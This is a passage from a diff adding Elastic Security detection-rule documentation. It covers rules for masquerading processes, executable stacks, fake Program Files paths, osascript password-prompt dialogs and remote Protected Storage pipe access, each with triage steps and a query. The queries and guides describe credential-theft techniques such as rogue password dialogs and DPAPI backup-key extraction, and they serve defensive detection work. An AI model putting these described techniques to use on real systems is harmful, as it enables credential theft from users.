investigation. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and user.id == "0" and + process.executable regex~ """/var/run/\w+\.(pid|lock|reboot)""" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Sub-technique: +** Name: Masquerade File Type +** ID: T1036.008 +** Reference URL: https://attack.mitre.org/techniques/T1036/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-started-with-executable-stack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-started-with-executable-stack.asciidoc new file mode 100644 index 0000000000..1a3e5ebfc4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-process-started-with-executable-stack.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-process-started-with-executable-stack]] +=== Process Started with Executable Stack + +This rule monitors the syslog log file for messages related to instances of processes that are started with an executable stack. This can be an indicator of a process that is attempting to execute code from the stack, which can be a security risk. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: System +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Started with Executable Stack* + + +In Linux environments, processes with executable stacks can pose security risks as they may allow code execution from the stack, a behavior often exploited by attackers to run arbitrary code. Adversaries might leverage this to execute malicious scripts or commands. The detection rule monitors syslog for kernel messages indicating such processes, flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the syslog entries to identify the specific process that triggered the alert, focusing on the message field containing "started with executable stack". +- Investigate the process name and associated command-line arguments to understand the nature and purpose of the process. +- Check the process's parent process to determine if it was spawned by a legitimate application or service. +- Analyze the user account under which the process is running to assess if it aligns with expected behavior and permissions. +- Look for any recent changes or anomalies in the system that might correlate with the process start time, such as new software installations or configuration changes. +- Cross-reference the process with known threat intelligence sources to identify if it matches any known malicious patterns or indicators. + + +*False positive analysis* + + +- Development tools and environments may intentionally use executable stacks for legitimate purposes, such as certain debugging or testing scenarios. Users can create exceptions for these specific tools by identifying their process names and excluding them from the detection rule. +- Some legacy applications might require executable stacks due to outdated coding practices. Users should verify the necessity of these applications and, if deemed non-threatening, add them to an exclusion list based on their process names or paths. +- Custom scripts or applications developed in-house might inadvertently use executable stacks. Conduct a review of these scripts to ensure they are safe, and if so, exclude them from monitoring by specifying their unique identifiers. +- Certain system utilities or libraries might trigger this rule during normal operations. Users should consult documentation or vendor support to confirm if these are expected behaviors and exclude them accordingly if they pose no risk. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Terminate the suspicious process identified with an executable stack to halt any ongoing malicious activity. +- Conduct a thorough analysis of the process and its associated files to identify any malicious payloads or scripts that may have been executed. +- Restore the system from a known good backup if any unauthorized changes or malware are detected. +- Apply security patches and updates to the operating system and applications to mitigate vulnerabilities that could be exploited by similar threats. +- Implement stack protection mechanisms such as stack canaries or non-executable stack configurations to prevent future exploitation. +- Escalate the incident to the security operations team for further investigation and to assess the need for additional security measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and data_stream.dataset:"system.syslog" and process.name:"kernel" and +message:"started with executable stack" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-processes-with-trailing-spaces.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-processes-with-trailing-spaces.asciidoc new file mode 100644 index 0000000000..8f7c886c23 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-processes-with-trailing-spaces.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-34-processes-with-trailing-spaces]] +=== Processes with Trailing Spaces + +Identify instances where adversaries include trailing space characters to mimic regular files, disguising their activity to evade default file handling mechanisms. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Processes with Trailing Spaces* + + +This rule detects execution of binaries whose names end with a space, a Unix-style masquerade that makes a malicious tool visually indistinguishable from a legitimate one and evades default file handling. An attacker pattern is a trojanized clone of ssh, curl, or ps with a trailing space placed in a user-writable PATH directory, then invoked by cron, shell scripts, or launch agents to harvest credentials or stage payloads while blending in. + + +*Possible investigation steps* + + +- Confirm the binary's presence and trailing space on disk using commands that reveal whitespace (ls -b, find -print0, stat), and compare inode, size, permissions, and mtime against the non-spaced counterpart in the same directory. +- Correlate the event with parent process, effective user, environment (PATH, IFS, aliases), and working directory to determine whether PATH hijacking or script misresolution is being exploited. +- Hash the suspicious executable, check code signing and compiler metadata where applicable, and pivot in threat intel and internal repositories to identify known implants or unauthorized builds. +- Enumerate all directories in PATH for lookalike binaries with whitespace or Unicode homographs, review recent file creations and chmod/chown activity in those paths, and identify the account and host that introduced them. +- Investigate follow-on activity from the same process tree, including network connections, credential access attempts, file writes, and persistence artifacts such as cron entries or macOS LaunchAgents, to determine scope and containment actions. + + +*False positive analysis* + + +- A legitimate wrapper or init script may use exec -a or setproctitle to set a custom argv[0] with a trailing space for labeling or formatting, causing process.name to end with a space even though the underlying binary is trusted. +- Build or maintenance scripts that fail to trim variables can create and run an executable or symlink whose name includes a trailing space (e.g., when an optional suffix is empty), producing benign events that match this detection. + + +*Response and remediation* + + +- Terminate the spaced-name process and its parent, stop any cron job or macOS LaunchAgent invoking the spaced executable (e.g., "ssh "), and isolate the host if it initiated outbound connections or prompted for credentials. +- Find and remove or quarantine all executables and symlinks whose filenames end with a space in PATH directories such as ~/bin, /tmp, and project bin paths, using rm -- with exact quoting or null-delimited tools to avoid clobbering the legitimate counterpart. +- Remove persistence and PATH hijacks by deleting cron entries and LaunchAgents referencing the spaced name, restoring PATH for affected users and services to a vetted list, and resetting file ownership and permissions on altered directories. +- Reinstall or restore the legitimate binary from trusted packages or gold images, verify checksums and code signing, update scripts to use absolute paths and trimmed variables, and rotate credentials if the lookalike was a trojan of ssh, curl, or ps. +- Escalate to incident response if the spaced executable resides in system directories (/bin, /usr/bin, /usr/local/bin), runs as root or via sudo, repeatedly respawns after removal, or opens external network connections. +- Harden by enabling file integrity monitoring for filenames with trailing whitespace or Unicode confusables, removing user-writable directories from global PATH and enforcing write protections, configuring cron/launchd with sanitized PATH, and applying noexec or sticky-bit policies on shared temp directories. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "exec_event", "executed", "process_started") and +process.name : "* " + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Space after Filename +** ID: T1036.006 +** Reference URL: https://attack.mitre.org/techniques/T1036/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-program-files-directory-masquerading.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-program-files-directory-masquerading.asciidoc new file mode 100644 index 0000000000..b33672c476 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-program-files-directory-masquerading.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-program-files-directory-masquerading]] +=== Program Files Directory Masquerading + +Identifies execution from a directory masquerading as the Windows Program Files directories. These paths are trusted and usually host trusted third party programs. An adversary may leverage masquerading, along with low privileges to bypass detections allowlisting those folders. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Masquerading +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Program Files Directory Masquerading* + + +The Program Files directories in Windows are trusted locations for legitimate software. Adversaries may exploit this trust by creating similarly named directories to execute malicious files, bypassing security measures. The detection rule identifies suspicious executions from these masquerading paths, excluding known legitimate directories, to flag potential threats. This helps in identifying defense evasion tactics used by attackers. + + +*Possible investigation steps* + + +- Review the process executable path to confirm if it matches any known masquerading patterns, such as unexpected directories containing "Program Files" in their path. +- Check the parent process of the suspicious executable to determine how it was launched and assess if the parent process is legitimate or potentially malicious. +- Investigate the user account associated with the process execution to determine if it has low privileges and if the activity aligns with typical user behavior. +- Correlate the event with other security logs or alerts from data sources like Microsoft Defender XDR or Sysmon to identify any related suspicious activities or patterns. +- Examine the file hash of the executable to see if it matches known malware signatures or if it has been flagged in threat intelligence databases. +- Assess the network activity associated with the process to identify any unusual outbound connections that could indicate data exfiltration or command-and-control communication. + + +*False positive analysis* + + +- Legitimate software installations or updates may create temporary directories resembling Program Files paths. Users can monitor installation logs and exclude these specific paths if they are verified as part of a legitimate process. +- Some enterprise applications may use custom directories that mimic Program Files for compatibility reasons. IT administrators should document these paths and add them to the exclusion list to prevent false alerts. +- Development environments might create test directories with similar naming conventions. Developers should ensure these paths are excluded during active development phases to avoid unnecessary alerts. +- Security tools or scripts that perform regular checks or updates might execute from non-standard directories. Verify these tools and add their execution paths to the exception list if they are confirmed safe. +- Backup or recovery software might temporarily use directories that resemble Program Files for storing executable files. Confirm the legitimacy of these operations and exclude the paths if they are part of routine backup processes. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate any suspicious processes identified as executing from masquerading directories to halt any ongoing malicious actions. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious files or remnants. +- Review and restore any altered system configurations or settings to their original state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement additional monitoring on the affected system and similar environments to detect any recurrence of the threat or similar tactics. +- Update security policies and access controls to prevent unauthorized creation of directories that mimic trusted paths, enhancing defenses against similar masquerading attempts. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : ( + "C:\\*Program Files*\\*.exe", + "\\Device\\HarddiskVolume*\\*Program Files*\\*.exe" + ) and + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Users\\*.exe", + "?:\\ProgramData\\*.exe", + "?:\\Windows\\Downloaded Program Files\\*.exe", + "?:\\Windows\\Temp\\.opera\\????????????\\CProgram?FilesOpera*\\*.exe", + "?:\\Windows\\Temp\\.opera\\????????????\\CProgram?Files?(x86)Opera*\\*.exe", + + /* NT Object Paths */ + "\\Device\\HarddiskVolume*\\Program Files\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\*.exe", + "\\Device\\HarddiskVolume*\\Users\\*.exe", + "\\Device\\HarddiskVolume*\\ProgramData\\*.exe", + "\\Device\\HarddiskVolume*\\Windows\\Downloaded Program Files\\*.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-prompt-for-credentials-with-osascript.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-prompt-for-credentials-with-osascript.asciidoc new file mode 100644 index 0000000000..d8fbc5c9db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-prompt-for-credentials-with-osascript.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-prompt-for-credentials-with-osascript]] +=== Prompt for Credentials with Osascript + +Identifies the use of osascript to execute scripts via standard input that may prompt a user with a rogue dialog for credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/prompt.py +* https://ss64.com/osx/osascript.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Prompt for Credentials with OSASCRIPT* + + +OSASCRIPT is a macOS utility that allows the execution of AppleScript and other OSA language scripts. Adversaries may exploit it to display deceptive dialogs prompting users for credentials, mimicking legitimate requests. The detection rule identifies suspicious OSASCRIPT usage by monitoring specific command patterns and excluding known legitimate processes, thereby flagging potential credential theft attempts. + + +*Possible investigation steps* + + +- Review the process command line to confirm if the osascript command includes suspicious patterns like "display dialog" with "password" or "passphrase" to determine if it is attempting to prompt for credentials. +- Check the parent process executable to see if it matches any known legitimate applications or services, such as those listed in the exclusion criteria, to rule out false positives. +- Investigate the user account associated with the process to determine if it is a privileged account or if there is any unusual activity associated with it. +- Examine the process execution context, including the effective parent executable, to identify if the osascript was executed by a legitimate management tool or script. +- Look for any other related alerts or logs around the same timeframe to identify if this is part of a broader attack or isolated incident. +- Assess the risk and impact by determining if any credentials were potentially compromised and if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate administrative scripts using osascript may trigger alerts if they include dialog prompts for passwords or passphrases. To manage this, identify and exclude these scripts by adding their specific command lines or parent executables to the exception list. +- Processes initiated by trusted applications like JAMF or Karabiner-Elements can be mistakenly flagged. Ensure these applications are included in the exclusion list to prevent unnecessary alerts. +- Scheduled maintenance tasks that use osascript for legitimate purposes might be misidentified. Review and exclude these tasks by specifying their user IDs or command line patterns in the detection rule exceptions. +- Custom scripts executed by system administrators for routine operations may appear suspicious. Document these scripts and add them to the exclusion criteria to avoid false positives. +- Terminal-based automation tools that interact with osascript could be incorrectly flagged. Verify these tools and include their paths in the exclusion list to reduce false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further unauthorized access or data exfiltration. +- Terminate the suspicious osascript process identified by the alert to stop any ongoing credential theft attempts. +- Conduct a thorough review of the affected system's recent activity logs to identify any unauthorized access or changes made during the incident. +- Reset credentials for any accounts that may have been compromised, ensuring that new passwords are strong and unique. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement additional monitoring on the affected system and similar endpoints to detect any recurrence of the threat. +- Review and update endpoint security configurations to block unauthorized script execution and enhance detection capabilities for similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.action == "exec" and host.os.type == "macos" and + process.name == "osascript" and process.args == "-e" and process.command_line like~ ("*osascript*display*dialog*password*", "*osascript*display*dialog*passphrase*", "*osascript*display*dialog*authenticate*", "*pass*display*dialog*") and + not (process.parent.executable == "/usr/bin/sudo" and process.command_line like~ "*Encryption Key Escrow*") and + not (process.command_line like~ "*-e with timeout of 3600 seconds*" and user.id like "0" and process.parent.executable == "/bin/bash") and + not process.parent.command_line like "sudo*" and + not process.Ext.effective_parent.executable like~ + ("/usr/local/jamf/*", + "/Library/Intune/Microsoft Intune Agent.app/Contents/MacOS/IntuneMdmDaemon", + "/Library/Application Support/Mosyle/MosyleMDM.app/Contents/MacOS/MosyleMDM", + "/Applications/NinjaRMMAgent/programfiles/ninjarmm-macagent", + "/Applications/Karabiner-Elements.app/Contents/MacOS/Karabiner-Elements", + "/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon", + "/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfManagementService.app/Contents/MacOS/JamfManagementService") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Input Capture +** ID: T1056 +** Reference URL: https://attack.mitre.org/techniques/T1056/ +* Sub-technique: +** Name: GUI Input Capture +** ID: T1056.002 +** Reference URL: https://attack.mitre.org/techniques/T1056/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-protected-storage-service-access-via-smb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-protected-storage-service-access-via-smb.asciidoc new file mode 100644 index 0000000000..7cde35e566 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-protected-storage-service-access-via-smb.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-34-protected-storage-service-access-via-smb]] +=== Protected Storage Service Access via SMB + +Identifies remote access to the Windows Protected Storage Service through the IPC$ share. Attackers may abuse this named pipe to interact with the Protected Storage Service and extract sensitive credentials, certificates, or DPAPI backup keys. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Windows + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Protected Storage Service Access via SMB* + + +The Protected Storage Service manages sensitive user data such as passwords, certificates, and private keys. Remote +access to the `protected_storage` named pipe over the IPC$ share is unusual and may indicate an attempt to extract +credentials or abuse DPAPI to retrieve domain backup keys from domain controllers. + + +*Possible investigation steps* + + +- Identify the source system and user account that initiated the access by reviewing `source.ip`, `user.name`, and + `winlog.event_data.SubjectUserName`. +- Determine whether the target host is a domain controller or other high-value system that stores DPAPI backup keys. +- Review authentication events (4624, 4625) around the alert time to identify how the source authenticated to the + target. +- Investigate other alerts associated with the source host or user during the past 48 hours. +- Check for follow-on credential access activity such as registry hive access, LSASS access, or lateral movement. + + +*False positive analysis* + + +- This activity is rarely expected in most environments. If legitimate administrative tooling accesses this pipe, + confirm the source, account, and target system before adding an exception. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the source host if unauthorized access is confirmed. +- Investigate credential exposure and reset passwords for potentially compromised accounts. +- Review domain controller DPAPI backup key exposure if the target is a domain controller. + + +==== Setup + + + +*Setup* + + +Audit Detailed File Share must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-detailed-file-share + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:file and event.code:5145 and + winlog.event_data.ShareName:"\\\\*\\IPC$" and + winlog.event_data.RelativeTargetName:"protected_storage" and + not source.ip:("::" or "::1" or "0.0.0.0" or "127.0.0.1") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* 